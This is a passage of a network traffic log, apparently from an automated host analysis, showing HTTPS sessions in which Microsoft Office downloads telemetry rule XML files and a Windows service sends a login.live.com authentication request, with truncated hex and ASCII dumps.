I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
55	192.168.2.5	49795	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 22:47:32 UTC	192	OUT	GET /rules/rule120626v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 22:47:33 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 22:47:32 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DACDF62" x-ms-request-id: 764b7f95-c01e-00a1-1c00-2d7e4a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T224732Z-16547b76f7frbg6bhC1DFWr54000000008mg00000000sdhh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-07 22:47:33 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120626" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
56	192.168.2.5	49796	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 22:47:32 UTC	192	OUT	GET /rules/rule120627v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 22:47:33 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 22:47:33 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:54 GMT ETag: "0x8DC582B9E8EE0F3" x-ms-request-id: 1afe4fdc-201e-0085-035c-2e34e3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T224733Z-17df447cdb528ltlhC1DFWnt1c00000004v000000000dvc7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-07 22:47:33 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4e 6e 5d 5b 45 65 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120627" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <SR T="2" R="^([Nn][Ee][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
57	192.168.2.5	49797	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 22:47:32 UTC	192	OUT	GET /rules/rule120628v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 22:47:33 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 22:47:33 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C8E04C8" x-ms-request-id: a07dceec-d01e-0066-4c3b-2eea17000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T224733Z-15869dbbcc6lq2lzhC1DFWym6c000000040000000000b2ca x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-07 22:47:33 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120628" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
58	192.168.2.5	49798	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 22:47:33 UTC	192	OUT	GET /rules/rule120629v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 22:47:33 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 22:47:33 GMT Content-Type: text/xml Content-Length: 428 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC4F34CA" x-ms-request-id: 2ad66808-401e-0029-0155-2e9b43000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T224733Z-17df447cdb5vq4m4hC1DFWrbp8000000050g0000000044ea x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-07 22:47:33 UTC	428	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 2d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120629" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo]-[Ss][Tt][Aa][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
59	192.168.2.5	49800	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 22:47:33 UTC	192	OUT	GET /rules/rule120630v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 22:47:33 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 22:47:33 GMT Content-Type: text/xml Content-Length: 499 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:45 GMT ETag: "0x8DC582B98CEC9F6" x-ms-request-id: 8e718dad-301e-0051-6df1-2c38bb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T224733Z-16547b76f7fr4g8xhC1DFW9cqc00000007ug00000000yq7t x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-07 22:47:33 UTC	499	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120630" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
60	192.168.2.5	49801	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 22:47:33 UTC	192	OUT	GET /rules/rule120631v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 22:47:33 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 22:47:33 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B988EBD12" x-ms-request-id: 231ce337-901e-0083-5701-2dbb55000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T224733Z-16547b76f7fp46ndhC1DFW66zg00000008vg000000008cac x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-07 22:47:33 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 48 68 5d 5b 55 75 5d 5b 41 61 5d 5b 57 77 5d 5b 45 65 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120631" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <SR T="2" R="([Hh][Uu][Aa][Ww][Ee][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
61	192.168.2.5	49802	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 22:47:33 UTC	192	OUT	GET /rules/rule120632v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 22:47:33 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 22:47:33 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5815C4C" x-ms-request-id: a6359f23-d01e-0014-2f55-2eed58000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T224733Z-17df447cdb5t94hvhC1DFWw978000000059g00000000b5c2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-07 22:47:33 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120632" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
62	192.168.2.5	49803	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 22:47:33 UTC	192	OUT	GET /rules/rule120633v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 22:47:33 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 22:47:33 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB32BB5CB" x-ms-request-id: d33f60ae-f01e-0085-74ec-2b88ea000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T224733Z-16547b76f7fkj7j4hC1DFW0a9g00000008qg00000000mu03 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-07 22:47:33 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 53 73 5d 5b 41 61 5d 5b 4d 6d 5d 5b 53 73 5d 5b 55 75 5d 5b 4e 6e 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120633" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <SR T="2" R="([Ss][Aa][Mm][Ss][Uu][Nn][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
63	192.168.2.5	49804	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 22:47:33 UTC	192	OUT	GET /rules/rule120634v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 22:47:34 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 22:47:33 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8972972" x-ms-request-id: 2361c5fe-901e-0064-45f6-2ce8a6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T224733Z-16547b76f7ftdm8dhC1DFWs13g00000008u0000000004vn1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-07 22:47:34 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120634" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
64	192.168.2.5	49799	20.190.159.2	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 22:47:34 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 3592 Host: login.live.com
2024-11-07 22:47:34 UTC	3592	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-11-07 22:47:34 UTC	569	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Thu, 07 Nov 2024 22:46:34 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C525_SN1 x-ms-request-id: a8e1988a-2b0f-4f1a-bef7-f45efbf1cf49 PPServer: PPV: 30 H: SN1PEPF0002F0E4 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Thu, 07 Nov 2024 22:47:33 GMT Connection: close Content-Length: 11392
2024-11-07 22:47:34 UTC	11392	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port
65	192.168.2.5	49805	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 22:47:34 UTC	192	OUT	GET /rules/rule120635v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 22:47:34 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 22:47:34 GMT Content-Type: text/xml Content-Length: 420 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DAE3EC0" x-ms-request-id: 65394723-101e-00a2-80f1-2c9f2e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T224734Z-16547b76f7f7lhvnhC1DFWa2k000000008hg00000000ydea x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-07 22:47:34 UTC	420	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 54 74 5d 5b 4f 6f 5d 5b 53 73 5d 5b 48 68 5d 5b 49 69 5d 5b 42 62 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120635" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <SR T="2" R="^([Tt][Oo][Ss][Hh][Ii][Bb][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O

Session ID	Source IP	Source Port	Destination IP	Destination Port
66	192.168.2.5	49806	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
